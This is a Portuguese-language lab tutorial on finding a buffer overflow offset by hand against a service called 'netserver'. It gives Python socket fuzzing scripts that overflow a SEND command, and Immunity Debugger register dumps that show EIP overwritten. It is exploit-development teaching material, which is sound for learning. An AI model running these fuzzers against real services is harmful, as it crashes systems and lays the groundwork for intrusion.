Encontrando o Offset Manualmente

→ Embora haja programas que encontrem o offset automaticamente, o objetivo aqui é entendermos a lógica da busca por ele

```
#!/usr/bin/python
import socket

dados = "A"*1100 + "B"*600 + "C"*500

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("172.15.0.97",5800))
s.recv(1024)
cmd = "SEND "+dados+"\r\n"
s.send(cmd.encode())
```

→ Vamos acionar o Imunnity Debugger da seguinte maneira:

```
File \rightarrow Attach \rightarrow netserver \rightarrow attach \rightarrow
```

→ Queremos sobrescrever toda a EIP, então vamos mudar a qtd de caracteres enviados até vermos ela toda preenchida

```
#!/usr/bin/python
import socket

lista=["A"]
contador=2010

while len(lista) <= 250:
    lista.append("A"*contador)
    contador = contador + 1

for dados in lista:
    print(f"Fuzzing com SEND {len(dados)} bytes")
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("172.15.0.97",5800))
    s.recv(1024)
    cmd = "SEND "+dados+"\r\n"
    s.send(cmd.encode())</pre>
```

```
Registers (FPU)

EAX 00F7F238 ASCII "SEND AAAAAAA
ECX 00D770CC
EDX 0000000A
EBX 0000010C
ESP 00F7FA18
EBP 41414141
ESI 004018F0 netserve.004018F0
EDI 004018F0 netserve.004018F0
EIP 0D414141
C 0 ES 002B 32bit 0(FFFFFFFF)
A 0 SS 002B 32bit 0(FFFFFFFFF)
```

→ Aqui faltou um caractere pra completar a EIP

```
#!/usr/bin/python
import socket

lista=["A"]
contador=2011

while len(lista) <= 250:
    lista.append("A"*contador)
    contador = contador + 1

for dados in lista:
    print(f"Fuzzing com SEND {len(dados)} bytes")
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("172.15.0.97",5800))
    s.recv(1024)
    cmd = "SEND "+dados+"\r\n"
    s.send(cmd.encode())</pre>
```

```
Registers (FPU)
EAX 010BF238 ASCII "SEND AAAAAAAAAAA
ECX
EDX
EBX
    007670CC
    00000A0D
    0000011C
    010BFA18
              ASCII "Jo"
EBP 41414141
    004018F0 netserve.004018F0
EDI 004018F0 netserve.004018F0
EIP 41414141
     ES 002B 32bit 0(FFFFFFFF)
CS 0023 32bit 0(FFFFFFFF)
 ø
  Ø
     SS 002B 32bit 0(FFFFFFFF)
```

→ Aqui a EIP foi totalmente preenchida